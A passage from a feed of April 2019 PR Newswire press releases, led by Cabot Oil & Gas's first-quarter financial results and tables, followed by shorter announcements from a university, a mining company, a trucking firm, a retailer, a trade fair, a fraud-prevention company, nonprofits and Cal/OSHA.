EBITDAX ratio were 34.4 percent and 0.8x, respectively, compared to 37.0 percent and 1.0x as of December 31, 2018. On April 22, 2019, the Company closed on an amended and restated unsecured revolving credit facility (the "Credit Facility") that matures in April 2024, with an additional one year extension provision. The borrowing base under the Credit Facility remained unchanged from the Company's prior revolving credit facility at $3.2 billion, while the Company elected to reduce its available commitments to $1.5 billion. The Company currently has no debt outstanding under the Credit Facility, resulting in over $1.8 billion of liquidity as of the closing of this Credit Facility. Second-Quarter and Full-Year 2019 Guidance Update Cabot has provided its second-quarter 2019 production guidance range of 2,300 to 2,350 Mmcfe per day. The Company has also reiterated its 2019 production growth guidance of 20 percent and its capital budget of $800 million. Additionally, the Company has updated its guidance on estimated key financial metrics for 2019 in the table below. Estimated 2019 Key Financial Metrics (1) $2.50 NYMEX $2.75 NYMEX $3.00 NYMEX Adjusted Earnings Per Share Growth (%) 25% - 35% 45% - 55% 65% - 75% Free Cash Flow ($mm) $500 - $550 $600 - $650 $700 - $750 Return on Capital Employed (%) 20% - 21% 22% - 23% 24% - 25% (1) Ranges for estimated key financial metrics based on guidance ranges for operating expenses For further disclosure on Cabot's natural gas pricing exposure by index and cost guidance, please see the current Guidance slide in the Investor Relations section of the Company's website. Conference Call Webcast A conference call is scheduled for Friday, April 26, 2019, at 9:30 a.m. Eastern Time to discuss first-quarter 2019 financial and operating results. To access the live audio webcast, please visit the Investor Relations section of the Company's website. A replay of the call will also be available on the Company's website. Cabot Oil & Gas Corporation, headquartered in Houston, Texas, is a leading independent natural gas producer with its entire resource base located in the continental United States. For additional information, visit the Company's website at www.cabotog.com. This press release includes forwardlooking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. The statements regarding future financial and operating performance and results, returns to shareholders, strategic pursuits and goals, market prices, future hedging and risk management activities, and other statements that are not historical facts contained in this report are forward-looking statements. The words "expect", "project", "estimate", "believe", "anticipate", "intend", "budget", "plan", "forecast", "outlook", "predict", "may", "should", "could", "will" and similar expressions are also intended to identify forward-looking statements. Such statements involve risks and uncertainties, including, but not limited to, market factors, market prices (including geographic basis differentials) of natural gas and crude oil, results of future drilling and marketing activity, future production and costs, legislative and regulatory initiatives, electronic, cyber or physical security breaches and other factors detailed herein and in our other Securities and Exchange Commission (SEC) filings. See "Risk Factors" in Item 1A of the Form 10-K and subsequent public filings for additional information about these risks and uncertainties. Should one or more of these risks or uncertainties materialize, or should underlying assumptions prove incorrect, actual outcomes may vary materially from those indicated. Any forward-looking statement speaks only as of the date on which such statement is made, and the Company does not undertake any obligation to correct or update any forward-looking statement, whether as the result of new information, future events or otherwise, except as required by applicable law. FOR MORE INFORMATION CONTACT Matt Kerin (281) 589-4642 OPERATING DATA Three Months Ended March 31, 2019 2018 PRODUCTION VOLUMES Natural gas (Bcf) 204.8 164.6 Crude oil and condensate (Mbbl) 754.0 Natural gas liquids (NGLs) (Mbbl) 75.1 Equivalent production (Bcfe) 204.8 169.6 Daily equivalent production (Mmcfe/day) 2,276 1,884 AVERAGE SALES PRICE Natural gas, including hedges ($/Mcf) $ 3.35 $ 2.44 Natural gas, excluding hedges ($/Mcf) $ 3.09 $ 2.50 Crude oil and condensate, including hedges ($/Bbl) $ $ 63.61 Crude oil and condensate, excluding hedges ($/Bbl) $ $ 64.61 NGL ($/Bbl) $ $ 23.75 AVERAGE UNIT COSTS ($/Mcfe) Direct operations $ 0.09 $ 0.12 Transportation and gathering 0.67 0.66 Taxes other than income 0.03 0.04 Exploration 0.03 0.02 Depreciation, depletion and amortization 0.45 0.48 General and administrative (excluding stock-based compensation) 0.08 0.11 Stock-based compensation 0.07 0.03 Interest expense 0.06 0.12 $ 1.48 $ 1.58 WELLS DRILLED (1) Gross 25 15 Net 25.0 15.0 WELLS COMPLETED (1) Gross 14 11 Net 14.0 11.0 ___________________________________________________________ (1) Wells drilled represents wells drilled to total depth during the period. Wells completed includes wells completed during the period, regardless of when they were drilled. CONDENSED CONSOLIDATED STATEMENT OF OPERATIONS (Unaudited) Three Months Ended March 31, (In thousands, except per share amounts) 2019 2018 OPERATING REVENUES Natural gas $ 633,174 $ 412,108 Crude oil and condensate 48,722 Gain on derivative instruments 8,257 5,577 Brokered natural gas 4,950 Other 250 1,870 641,681 473,227 OPERATING EXPENSES Direct operations 18,334 20,070 Transportation and gathering 137,333 112,125 Brokered natural gas 4,950 Taxes other than income 5,847 7,190 Exploration 6,044 3,617 Depreciation, depletion and amortization 92,258 82,128 General and administrative (excluding stock-based compensation) 15,958 18,613 Stock-based compensation(1) 15,132 5,447 290,906 254,140 Earnings (loss) on equity method investments 3,684 (994) Loss on sale of assets (1,500) (41,049) INCOME FROM OPERATIONS 352,959 177,044 Interest expense, net 12,181 20,058 Other expense 144 114 Income before income taxes 340,634 156,872 Income tax expense 77,871 39,641 NET INCOME $ 262,763 $ 117,231 Earnings per share - Basic $ 0.62 $ 0.26 Weighted-average common shares outstanding 423,116 459,715 _____________________________________________________________ (1) Includes the impact of our performance share awards and restricted stock. CONDENSED CONSOLIDATED BALANCE SHEET (Unaudited) (In thousands) March 31, 2019 December 31, 2018 ASSETS Current assets $ 680,191 $ 544,545 Properties and equipment, net (Successful efforts method) 3,574,622 3,463,606 Other assets 226,734 190,678 $ 4,481,547 $ 4,198,829 LIABILITIES AND STOCKHOLDERS' EQUITY Current liabilities $ 240,315 $ 287,264 Long-term debt, net 1,219,338 1,226,104 Deferred income taxes 546,559 458,597 Other liabilities 154,396 138,705 Stockholders' equity 2,320,939 2,088,159 $ 4,481,547 $ 4,198,829 CONDENSED CONSOLIDATED STATEMENT OF CASH FLOWS (Unaudited) Three Months Ended March 31, (In thousands) 2019 2018 CASH FLOWS FROM OPERATING ACTIVITIES Net income $ 262,763 $ 117,231 Deferred income tax expense 88,002 64,287 Loss on sale of assets 1,500 41,049 Exploratory dry hole cost 13 (60) Gain on derivative instruments (8,257) (5,577) Net cash received (paid) in settlement of derivative instruments 52,980 (26,131) Income charges not requiring cash 108,866 89,501 Changes in assets and liabilities 79,420 (7,540) Net cash provided by operating activities 585,287 272,760 CASH FLOWS FROM INVESTING ACTIVITIES Capital expenditures (195,650) (156,257) Proceeds from sale of assets 2,346 646,545 Investment in equity method investments (1,828) (35,418) Net cash provided by (used in) investing activities (195,132) 454,870 CASH FLOWS FROM FINANCING ACTIVITIES Net borrowings (repayments) of debt (7,000) Treasury stock repurchases (31,378) (207,134) Dividends paid (29,605) (27,647) Tax withholdings on vesting of stock awards (9,570) (7,968) Net cash used in financing activities (77,553) (242,749) Net increase in cash and cash equivalents $ 312,602 $ 484,881 Explanation and Reconciliation of Non-GAAP Financial Measures We report our financial results in accordance with accounting principles generally accepted in the United States (GAAP). However, we believe certain non-GAAP performance measures may provide financial statement users with additional meaningful comparisons between current results, the results of our peers and of prior periods. In addition, we believe these measures are used by analysts and others in the valuation, rating and investment recommendations of companies within the oil and natural gas exploration and production industry. See the reconciliations throughout this release of GAAP financial measures to non-GAAP financial measures for the periods indicated. We have also included herein certain forward-looking non-GAAP financial measures. Due to the forward-looking nature of these non-GAAP financial measures, we cannot reliably predict certain of the necessary components of the most directly comparable forward-looking GAAP measures, such as future impairments and future changes in capital. Accordingly, we are unable to present a quantitative reconciliation of such forward-looking non-GAAP financial measures to their most directly comparable forward-looking GAAP financial measures. Reconciling items in future periods could be significant. Reconciliation of Net Income to Adjusted Net Income and Adjusted Earnings Per Share Adjusted Net Income and Adjusted Earnings per Share are presented based on our belief that these non-GAAP measures enable a user of the financial information to understand the impact of these items on reported results. Additionally, this presentation provides a beneficial comparison to similarly adjusted measurements of prior periods. Adjusted Net Income and Adjusted Earnings per Share are not measures of financial performance under GAAP and should not be considered as alternatives to net income and earnings per share, as defined by GAAP. Three Months Ended March 31, (In thousands, except per share amounts) 2019 2018 As reported - net income $ 262,763 $ 117,231 Reversal of selected items: Loss on sale of assets 1,500 41,049 (Gain) loss on derivative instruments(1) 44,723 (31,708) Stock-based compensation expense 15,132 5,447 Interest expense related to income tax reserves (3,052) Tax effect on selected items (13,313) (3,481) Adjusted net income $ 307,753 $ 128,538 As reported - earnings per share $ 0.62 $ 0.26 Per share impact of selected items 0.11 0.02 Adjusted earnings per share $ 0.73 $ 0.28 Weighted-average common shares outstanding 423,116 459,715 ______________________________________________________________ (1) This amount represents the non-cash mark-to-market changes of our commodity derivative instruments recorded in Gain on derivative instruments in the Condensed Consolidated Statement of Operations. Return on Capital Employed Return on Capital Employed (ROCE) is defined as adjusted net income (defined above) plus after-tax net interest expense divided by average capital employed, which is defined as total debt plus stockholders' equity. ROCE is presented based on our belief that this non-GAAP measure is useful information to investors when comparing our profitability and the efficiency with which we have employed capital over time relative to other companies. ROCE is not a measure of financial performance under GAAP and should not be considered an alternative to net income. Twelve Months Ended March 31, (In thousands) 2019 2018 Interest expense, net $ 65,324 $ 81,418 Interest expense related to income tax reserves (1) (64) Tax benefit (15,140) (27,393) After-tax interest expense, net (A) 50,120 54,025 As reported - net income (loss) 702,575 111,904 Adjustments to as reported - net income, net of tax 7,753 172,096 Adjusted net income (B) 710,328 284,000 Adjusted net income before interest expense, net (A + B) $ 760,448 $ 338,025 Total debt - beginning of twelve month period $ 1,522,231 $ 1,520,870 Stockholders' equity - beginning of twelve month period 2,406,516 2,707,179 Capital employed - beginning of twelve month period 3,928,747 4,228,049 Total debt - end of twelve month period 1,219,338 1,522,231 Stockholders' equity - end of twelve month period 2,320,939 2,406,516 Capital employed - end of twelve month period 3,540,277 3,928,747 Average capital employed (C) $ 3,734,512 $ 4,078,398 Return on average capital employed (ROCE) (A+B) / C 20.4 % 8.3 % ______________________________________________________________ (1) Interest expense related to income tax reserves is included in the adjustments to as reported - net income, net of tax. Discretionary Cash Flow and Free Cash Flow Calculation and Reconciliation Discretionary Cash Flow is defined as net cash provided by operating activities excluding changes in assets and liabilities. Discretionary Cash Flow is widely accepted as a financial indicator of an oil and gas company's ability to generate cash which is used to internally fund exploration and development activities, pay dividends and service debt. Discretionary Cash Flow is presented based on our belief that this non-GAAP measure is useful information to investors when comparing our cash flows with the cash flows of other companies that use the full cost method of accounting for oil and gas producing activities or have different financing and capital structures or tax rates. Discretionary Cash Flow is not a measure of financial performance under GAAP and should not be considered as an alternative to cash flows from operating activities, as defined by GAAP, or as a measure of liquidity, or an alternative to net income. Free Cash Flow is defined as Discretionary Cash Flow (defined above) less capital expenditures and investment in equity method investments. Free Cash Flow is an indicator of a company's ability to generate cash flow after spending the money required to maintain or expand its asset base. Free Cash Flow is presented based on our belief that this non-GAAP measure is useful information to investors when comparing our cash flows with the cash flows of other companies. Free Cash Flow is not a measure of financial performance under GAAP and should not be considered as an alternative to cash flows from operating activities, as defined by GAAP, or as a measure of liquidity, or an alternative to net income. Three Months Ended March 31, (In thousands) 2019 2018 Net cash provided by operating activities $ 585,287 $ 272,760 Changes in assets and liabilities (79,420) 7,540 Discretionary cash flow 505,867 280,300 Capital expenditures (195,650) (156,257) Investment in equity method investments (1,828) (35,418) Free cash flow $ 308,389 $ 88,625 EBITDAX Calculation and Reconciliation EBITDAX is defined as net income plus interest expense, other expense, income tax expense, depreciation, depletion and amortization (including impairments), exploration expense, loss on sale of assets, non-cash gain and loss on derivative instruments, earnings and loss on equity method investments, cash distributions received from equity method investments, and stock-based compensation expense. EBITDAX is presented based on our belief that this non-GAAP measure is useful information to investors when evaluating our ability to internally fund exploration and development activities and to service or incur debt without regard to financial or capital structure. EBITDAX is not a measure of financial performance under GAAP and should not be considered as alternative to cash flows from operating activities or net income, as defined by GAAP, or as a measure of liquidity. Three Months Ended March 31, (In thousands) 2019 2018 Net income $ 262,763 $ 117,231 Plus (less): Interest expense, net 12,181 20,058 Other expense 144 114 Income tax expense 77,871 39,641 Depreciation, depletion and amortization 92,258 82,128 Exploration 6,044 3,617 Loss on sale of assets 1,500 41,049 Non-cash (gain) loss on derivative instruments 44,723 (31,708) (Earnings) loss on equity method investments (3,684) 994 Equity method investment distributions 4,729 Stock-based compensation 15,132 5,447 EBITDAX $ 513,661 $ 278,571 Net Debt Reconciliation The total debt to total capitalization ratio is calculated by dividing total debt by the sum of total debt and total stockholders' equity. This ratio is a measurement which is presented in our annual and interim filings and we believe this ratio is useful to investors in determining our leverage. Net Debt is calculated by subtracting cash and cash equivalents from total debt. Net Debt and the Net Debt to Adjusted Capitalization ratio are non-GAAP measures which we believe are also useful to investors since we have the ability to and may decide to use a portion of our cash and cash equivalents to retire debt. Additionally, as we may incur additional expenditures without increasing debt, it is appropriate to apply cash and cash equivalents to debt in calculating the Net Debt to Adjusted Capitalization ratio. (In thousands) March 31, 2019 December 31, 2018 Total debt $ 1,219,338 $ 1,226,104 Stockholders' equity 2,320,939 2,088,159 Total capitalization $ 3,540,277 $ 3,314,263 Total debt $ 1,219,338 $ 1,226,104 Less: Cash and cash equivalents (314,889) (2,287) Net debt $ 904,449 $ 1,223,817 Net debt $ 904,449 $ 1,223,817 Stockholders' equity 2,320,939 2,088,159 Total adjusted capitalization $ 3,225,388 $ 3,311,976 Total debt to total capitalization ratio 34.4 % 37.0 % Less: Impact of cash and cash equivalents 6.4 % % Net debt to adjusted capitalization ratio 28.0 % 37.0 % Capital Expenditures Three Months Ended March 31, (In thousands) 2019 2018 Cash paid for capital expenditures $ 195,650 $ 156,257 Change in accrued capital costs 8,634 11,032 Exploratory dry hole cost (13) 60 Capital expenditures $ 204,271 $ 167,349 SOURCE Cabot Oil & Gas Corporation Related Links http://www.cabotog.com CALDWELL, N.J., April 26, 2019 /PRNewswire/ -- Caldwell University's School of Nursing and Public Health is offering a new fully online Master of Science in Nursing program in Population Health for fall 2019, the first of its kind in New Jersey. "We are delighted to be able to offer this 36-credit innovative population health program," said Dr. Donna Naturale, RN, APN-BC, CDE, assistant professor and coordinator of the program. "It will prepare nurses to meet the demands of health care today and tomorrow by promoting healthier communities and addressing needs associated with the social determinants of health, commonly attributed to the zip codes in which we live and work." The social determinants of health include factors such as access to health care, finances and income, transportation, housing, social support, and level of education. Graduates of the program will be prepared to serve as leaders in nursing and health care. They will be qualified to work in a number of positions within a variety of health care systems in positions that include care coordinator, project, case and nurse managers in outpatient facilities, hospitals, public health departments, and within insurance and quality improvement fields. Upon graduation, they will also be qualified to teach in undergraduate nursing programs. Students will integrate technology utilizing healthcare data to identify trends and issues associated with the overall health of populations. They will also learn to provide high-quality nursing care, promote health, and prevent diseases that may be linked to the social determinants of health. The MSN in Population Health was planned and developed in response to the Institute of Medicine report "Primary Care and Public Health: Exploring Integration to Improve Population Health." It addresses needs which are identified in the Robert Wood Johnson Foundation "Future of Nursing 2020-2030" report. "The academic program will aim to prepare nurses to identify health disparities and works towards reducing those disparities which are influenced by social determinants of health working towards improving overall health and well-being for populations as we plan to care for the next generation," Naturale says. The program ties in with the mission of Caldwell University, a Catholic Dominican institution. "As the Catholic Health Association states, there is a 'moral imperative for making a commitment to the people of our community and that our focus on social determinants of health is not only because it is necessary but also because it is just,'" explains Naturale. For information on the program, contact the Caldwell University Admissions Office at 973-618-3500 or [email protected] or go to https://www.caldwell.edu/graduate/academic-department/graduate-programs-in-nursing/master-of-science-in-nursing-in-population-health. Prospective students can apply to the program at www.caldwell.edu/applynow. SOURCE Caldwell University Related Links http://www.caldwell.edu VANCOUVER, April 26, 2019 /PRNewswire/ - Capstone Mining Corp. ("Capstone" or the "Company") (TSX:CS) announced the voting results from its 2019 Annual General Meeting ("AGM") held April 25, 2019 in Vancouver, British Columbia. A total of 229,082,127 common shares were voted at the meeting, representing 57.33% of the votes attached to all outstanding common shares. Shareholders voted in favour of all items of business before the meeting, as follows: Number of Directors % For % Against Number of Directors to be set at seven 99.74% 0.26% Election of Directors % of Votes For % of Votes Withheld George L. Brack 98.85% 1.15% Robert J. Gallagher 99.39% 0.61% Peter G. Meredith 98.60% 1.40% Yong Jun Park 99.47% 0.53% Dale C. Peniuk 98.80% 1.20% Darren M. Pylot 99.48% 0.52% Richard N. Zimmer 92.42% 7.58% Appointment of Auditors % For % Withheld To appoint Deloitte LLP as Auditors of the Company for the ensuing year and to authorize the Directors to fix their remuneration 82.12% 17.88% Advisory Vote on Executive Compensation % For % Against To pass an advisory vote on Capstone's approach to executive compensation 97.80% 2.20% Detailed voting results for the 2019 AGM are available on SEDAR at www.sedar.com. "We would like to welcome Peter Meredith to the Board," said Darren Pylot, President and CEO. "On behalf of the shareholders, the Board wishes to thank Jill Gardiner and Kalidas Madhavpeddi for their service as directors and for the dedication, commitment and valuable insights they provided to the Board leading the Human Resource & Compensation and Corporate Governance & Nominating Committees." Peter Meredith is a corporate director and currently serves on the boards of Ivanhoe Mines Ltd. and Cordoba Minerals Corp. and serves as Chairman of the Board of Great Canadian Gaming Corporation. Previously, Mr. Meredith served as a director of Turquoise Hill Resources Ltd. (formerly the original Ivanhoe Mines), Kaizen Discovery Inc., SouthGobi Resources Ltd. and Peregrine Diamonds Ltd. Mr. Meredith served as Deputy Chairman and Chief Financial Officer of Turquoise Hill Resources Ltd. Prior to joining Ivanhoe Mines Ltd., Mr. Meredith spent thirtyone years with Deloitte LLP, Chartered Professional Accountants, and retired as a partner in 1996. Mr. Meredith is a Chartered Professional Accountant, (CPA, CA) and is a member of the Chartered Professional Accountants of British Columbia and the Chartered Professional Accountants of Ontario. ABOUT CAPSTONE MINING CORP. Capstone Mining Corp. is a Canadian base metals mining company, focused on copper. We are committed to the responsible development of our assets and the environments in which we operate. Our two producing mines are the Pinto Valley copper mine located in Arizona, US and the Cozamin polymetallic mine in Zacatecas State, Mexico. In addition, Capstone has the large scale 70% owned copper-iron Santo Domingo development project in Region III, Chile in partnership with Korea Resources Corporation, the Minto copper mine in Yukon, Canada currently on care and maintenance, as well as a portfolio of exploration properties. Capstone's strategy is to focus on the optimization of operations and assets in politically stable, mining-friendly regions, centred in the Americas. Our headquarters are in Vancouver, Canada and we are listed on the Toronto Stock Exchange (TSX). Further information is available at www.capstonemining.com. SOURCE Capstone Mining Corp. Related Links www.capstonemining.com INDIANAPOLIS, April 26, 2019 /PRNewswire/ -- Celadon Group, Inc. ("Celadon," the "Company," "we," or "us") (OTCPink: CGIP) announced today that it has disposed of substantially all of the assets associated with its North American "container on flat car" intermodal operations (collectively, the "COFC Intermodal Division") in an all cash transaction. The Company continued its strategic plan to streamline operations, reduce total debt, and focus on its core business by completing the sale of the COFC Intermodal Division to Bison Transport ("Bison"), one of Canada's largest transportation companies. The sale includes operating personnel, drivers, customer and supplier relationships, containers, and chassis, among other assets. The COFC Intermodal Division contributed approximately $20.2 million in revenue to the Company's consolidated results for the calendar year ended December 31, 2018. As part of the transaction, the Company has agreed to refer certain future COFC intermodal work to Bison in exchange for an undisclosed referral fee and will also provide certain services during a transition period. Paul Svindland, the Company's Chief Executive Officer, commented: "We are pleased to have completed the sale of our COFC Intermodal Division. This represents another important step in divesting our non-core businesses and returning to our roots as a leading North American truckload carrier. I want to personally thank our intermodal employees and COFC Intermodal Division customers for their invaluable support over the last several years I expect their transition to Bison will be a smooth one." Financial terms of the transaction were not disclosed. About Celadon Celadon Group, Inc. (www.celadongroup.com), through its subsidiaries, provides long haul, regional, local, dedicated, intermodal, temperature-protect, and expedited freight service across the United States, Canada, and Mexico. Forward Looking Statements This press release contains certain statements that may be considered forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended, and such statements are subject to the safe harbor created by those sections and the Private Securities Litigation Reform Act of 1995, as amended. Such statements may be identified by their use of terms or phrases, including "expects," "expected," "will," "would be," "intends," "believes," and similar terms and phrases. Forward-looking statements are based upon the current beliefs and expectations of our management and are inherently subject to risks and uncertainties, some of which cannot be predicted or quantified, which could cause future events and actual results to differ materially from those set forth in, contemplated by, or underlying the forward-looking statements. In this press release, statements relating to transition of intermodal employees and customers, among others, are forward-looking statements. Actual results may differ from those set forth in the forward-looking statements. Readers should review and consider factors that could cause actual results to differ from expectations, and various disclosures by the Company in its press releases, stockholder reports, and filings with the U.S. Securities and Exchange Commission. For more information: Paul Svindland Chief Executive Officer (317) 972-7000 [email protected] SOURCE Celadon Group, Inc. Related Links http://www.celadongroup.com FORT MYERS, Fla., April 26, 2019 /PRNewswire/ -- Chico's FAS, Inc. (NYSE: CHS) today announced that its Board of Directors declared a quarterly cash dividend of $0.0875 per share of its common stock, a 3.0% increase over the dividend rate from June 2018. The dividend is payable on July 1, 2019 to Chico's FAS shareholders of record at the close of business on June 17, 2019. ABOUT CHICO'S FAS, INC. The Company, through its brands Chico's, White House Black Market, Soma and TellTale, a digital-first intimates brand, is a leading omnichannel specialty retailer of women's private branded, sophisticated, casual-to-dressy clothing, intimates and complementary accessories. As of February 2, 2019, the Company operated 1,418 stores in the U.S. and Canada and sold merchandise through 83 international franchise locations in Mexico. The Company's merchandise is also available at www.chicos.com, www.chicosofftherack.com, www.whbm.com, www.soma.com and www.mytelltale.com as well as through third party channels. For more detailed information on the Company, please go to our corporate website at www.chicosfas.com. The information on our corporate website is not, and shall not be deemed to be, a part of this press release or incorporated into our federal securities law filings. Executive Contact: Julie Lorigan Vice President Investor Relations, Public Relations and Corporate Communications Chico's FAS, Inc. (239) 346-4199 Chico's FAS, Inc. 11215 Metro Parkway Fort Myers, Florida 33966 (239) 277-6200 SOURCE Chico's FAS, Inc. Related Links http://www.chicos.com SHENZHEN, China, April 26, 2019 /PRNewswire/ -- The 27th China (Shenzhen) International Gifts, Handicrafts, Watches & Houseware Fair opens April 25 at the Shenzhen Convention and Exhibition Center ("Gifts & Home" for short). Organized by the Reed Huabo Exhibition Co., Ltd, this four-day fair brings together over 2,500 reliable suppliers from China and beyond presenting their most competitive and creative products at 5,300 booths across 9 halls. Around 90,000 global buyers from more than 60 countries and regions are expected to join this annual event, including Hong Kong, Taiwan, Macau, Korea, Malaysia, Singapore, India, Russia and the United States. Well-known enterprises gather in Gifts & Home Chinese gift market has reached CNY one trillion. In the past five years, the total revenue of China's gift industry has grown by 9.2% annually. China's consumer market will continue to expand by around half and China will account for 20% of the world' s consumption by 2020, worth USD 2 trillion. Because of this enormous potential in China's gifts and home industry, the fair has attracted lots of domestic and foreign first-class brands, such as Armani, ELLE, Ferrero, Tiger, Swarovski, Midea, Huawei, and Xiaomi. Beijing Gift Association, Chaozhou Ceramics, the Industrial Design Society of Shunde and 7 other regional delegations have brought their most famous products with local characteristics to the fair, aiming to introduce their excellent manufacturing techniques to the world. China Mobile Electronic Fair becomes one of the hottest halls With the rapid development of technology in China, China has become one of the best manufacturing bases of consumer electronics in the world. China Mobile Electronic Fair is co-located at Hall 3 with 200 exhibitors, showing plenty of stylish, intelligent and practical mobile electronic products. Tens of thousands of visitors attend this fair to check out the latest technology, making Hall 3 become one of the hottest halls in Gifts & Home. Opening hours April 25-27, from 9:00 a.m. to 5:00 p.m. April 28, from 9:00 a.m. to 4:00 p.m. About the organizer Reed Huabo Exhibitions, the most influential exhibition company in China, is a member company of Reed Exhibitions, the world's leading event organizer, based in the UK. It is committed to leading the industry development and continuously creating values for customers from all over the world. For more information, please visit: www.chinagiftsfair.com SOURCE Reed Huabo Exhibitions Related Links http://www.chinagiftsfair.com MIAMI, April 26, 2019 /PRNewswire/ -- Leading fraud prevention solution provider ClearSale (https://clear.sale) is demonstrating its commitment to environmental and social responsibility by becoming the first e-commerce fraud management company to be certified as a B Corporation. ClearSale's dedication to its clients, staff, community and the industry at large is at the heart of this achievement. The company's mission is devoted to fostering positive social impact, shown by a core product that is designed to protect online retailers from fraudulent activity and create a safe and efficient environment for the online marketplace worldwide. This mission also applies internally employees are provided with formal education on personal finance, healthcare, new languages, emotional intelligence, diversity, and more. Certified B Corporations meet the highest verified standards of social and environmental performance, public transparency, and legal accountability, and aspire to use the power of markets to address social and environmental problems. B Corps become certified through rigorous verification by B Lab and must meet strict standards to join the global community of leaders using business as a force for good. "ClearSale's culture played a key role in the certification process to become a B Corporation," said Pedro Chiamulera, CEO at ClearSale. "Our mission and values parallel with B Lab in the development and empowerment of people to make a positive impact in our communities and in the world. We don't believe in a work-life balance, we believe in life-life balance. A career should serve and support that balance, not take away from it. As a business that benefits from our society, we believe that we have a responsibility to do our part in solving its social and environmental challenges. We are honored and humbled to stand among the thousands of companies that are also dedicated to that purpose." For more information on ClearSale's B Corp Certification, visit: https://bcorporation.net/directory/clear-sale. About ClearSale ClearSale helps e-retailers increase sales and eliminate chargebacks before they happen. Its solution protects a merchant's business by sorting orders and giving an accurate determination of fraud risk, then manually reviews every suspect transaction, providing the highest approval rates industry-wide and virtually eliminating false positives. More information at https://clear.sale or follow on Twitter @ClearSaleUS. About B Corp Certified B Corporations meet rigorous standards of social and environmental performance, legally expand their corporate responsibilities to include consideration of stakeholder interests and build collective voice through the power of the unifying B Corporation brand. There are more than 2,700 Certified B Corporations from over 150 industries and over 60 countries, representing a diverse multi-billion-dollar marketplace with 1 unifying goal. SOURCE ClearSale Related Links https://clear.sale As part of Hope For the Warriors' Military Child Healthy Lunch Tote Drive Initiative, nearly 150 CVN staff members packed things like fig bars, almonds, and granola bars for the children of military families. The packaging was done as part of a volunteer event during CVN's 2 nd Annual Meeting in New York City, where leaders and staff members from each of its Steven A. Cohen Military Family Clinics across the nation joined in a two-day learning and networking conference. "CVN's Annual Meeting provides us with the perfect opportunity to discuss our ongoing innovative efforts to change the future of mental health care nationwide. However, we also like to use this time to roll up our sleeves and further support the communities we serve," said Dr. Anthony Hassan, CEO of CVN. "We are so pleased to be able to partner with organizations like Hope For The Warriors to give back to military families." CVN worked with Hope For The Warriors to identify and distribute lunch totes geared toward elementary-school aged children and teenagers in communities along the east coast where there are currently five Cohen Clinic locations: starting with the Cohen Clinic at NYU Langone Health in New York City to the Cohen Clinic at Cape Fear Valley in Fayetteville, NC. Hope For The Warriors provides a full cycle of care to restore self, family, and hope to post-9/11 service members, their families, and families of the fallen. According to the organization, healthy meals and snacks are always a welcomed addition to children's packed lunches. The lunch tote drive is an easy, yet meaningful, hands-on way to give back to military families. "Working with partners, like the Cohen Veterans Network, is necessary to fully address the ever-evolving needs of our country's post-9/11 veterans and their families," said Emma Walsh, Hope For The Warriors Chief Impact Officer. "Both CVN and HOPE offer complex, yet complimentary integrated services that provide holistic care." For more information about The Cohen Veterans Network, visit www.cohenveteransnetwork.org and to learn more about Hope For The Warriors, visit www.hopeforthewarriors.org SOURCE Cohen Veterans Network Related Links https://www.cohenveteransnetwork.org Adapted from NIWH's 42 year old, accredited trainings for medical and health professionals, the program is rooted in the latest evidenced based research, as well as the patented model of Behavioral Engagement, developed and clinically tested in leading Boston hospitals and medical centers. The content is presented from a demystified Big Picture of Health perspective, assessing an individual's well-being from a Whole Person perspective and the 5 Aspects of Whole Health: Physical, Emotional, Nutritional, Environmental, and Worldview/Spiritual, helping learners to understand the interconnected nature of their lifestyle choices on their health. "The American consumer is truly ready to take greater control over their own self-directed care and life choices," says Dr. Georgianna Donadio, NIWH Program Director. "These courses will enhance their comfort level and deepen their organic understanding of how their body works and what they can do to prevent disease and maintain optimal health." Registered learners will receive access to NIWH online classroom videos, where they can view Amazon streamed video presentations featuring leading experts in integrative medicine, along with comprehensive handouts featuring the latest medical research abstracts, articles from leading periodicals, and much more. There are no required course assignments but learners are invited to submit essays and questions to the program services mentors. The information presented in each course is for educational and informational use only, and should be used to complement care and treatment under a duly trained and licensed medical or healthcare professional. Learners will be invited to join live call-ins to discuss courses, ask questions and speak with other learners and NIWH mentors. National Institute of Whole Health - Since its inception in 1977, the National Institute of Whole Health (NIWH) has held a compelling vision for American health care. The recently updated, multi-award-winning, #1 national bestselling book "Changing Behavior", documents the development and research of Whole Health Education at various Boston hospitals, which began in 1980. For more information, please visit http://www.niwh.org. Media Contact: e-mail [email protected] or call 888-354- 4325 (HEAL). SOURCE National Institute of Whole Health Related Links https://www.wholehealtheducation.com OAKLAND, Calif., April 26, 2019 /PRNewswire/ -- The Department of Industrial Relations (DIR) and its Division of Occupational Safety and Health (Cal/OSHA) commemorate Workers' Memorial Day 2019 and honor California's workers who lost their lives on the job. This international day of remembrance is held annually on April 28, the date Congress passed the Occupational Safety and Health Act of 1970 which ensures all workers the right to a safe and healthful workplace. "Observing Workers' Memorial Day sends a strong reminder that workplace safety regulations are in place to prevent incidents that can seriously or fatally injure workers," said Cal/OSHA Chief Juliann Sum. "We here at DIR and Cal/OSHA are committed to protecting workplaces every day of the year and ensuring safety rights are upheld." A total of 376 Californians lost their lives on the job in 2017, nearly half (46%) of them were Latino. The causes of death range from preventable accidents to workplace violence. These tragedies affect communities both large and small throughout the state. Cal/OSHA was the first in the nation to adopt a statewide Injury and Illness Prevention Program (IIPP) standard in 1991 and also the first to adopt an emergency heat illness prevention regulation in 2005. The emergency regulation became law in 2006 and was amended in 2010 to add high-heat procedures to protect outdoor workers in industries including agriculture, construction, landscaping and oil and gas extraction. The heat illness prevention regulation was further amended in 2015 to increase worker access to water, lower the temperature trigger for shade and expand training for outdoor workers to recognize and address the signs and symptoms of heat illness. Additionally, workers across the state are protected by permissible exposure limits that go beyond the corresponding federal minimums and cover a wider variety of chemicals. California is proud to have adopted the most comprehensive workplace violence prevention in health care standard in the country and to be the only state to enact a standard to protect workers from aerosol transmissible diseases. Together these efforts help California maintain workplace injury and fatality rates below the national average. The California Division of Occupational Safety and Health, or Cal/OSHA, is the division within the Department of Industrial Relations that helps protect California's workers from health and safety hazards on the job in almost every workplace. Cal/OSHA's Consultation Services Branch provides free and voluntary assistance to employers to improve their health and safety programs. Employers should call (800) 963-9424 for assistance from Cal/OSHA Consultation Services. Employees with work-related questions or complaints may contact DIR's Call Center in English or Spanish at 844-LABOR-DIR (844-522-6734). The California Workers' Information line at 866-924-9757 provides recorded information in English and Spanish on a variety of work-related topics. Complaints can also be filed confidentially with Cal/OSHA 